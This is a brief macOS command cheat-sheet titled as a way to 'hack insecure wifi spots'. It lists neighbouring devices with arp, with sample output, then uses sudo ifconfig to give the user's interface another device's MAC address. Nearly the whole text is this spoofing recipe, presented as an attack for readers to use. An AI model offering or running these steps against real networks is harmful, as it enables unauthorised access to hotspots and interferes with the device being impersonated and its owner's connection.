Hack insecure wifi spots by OSX
# fist connect to any unsecured networks
# search node
arp -ani en0
# ? (192.168.43.1) at 18:89:ab:f0:ab:c7 on en0 ifscope [ethernet]
# ? (224.0.0.251) at 1:0:5e:0:0:fb on en0 ifscope permanent [ethernet]
# ? (239.255.255.250) at 1:0:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
sudo ifconfig en0 ether 18:89:ab:f0:ab:c7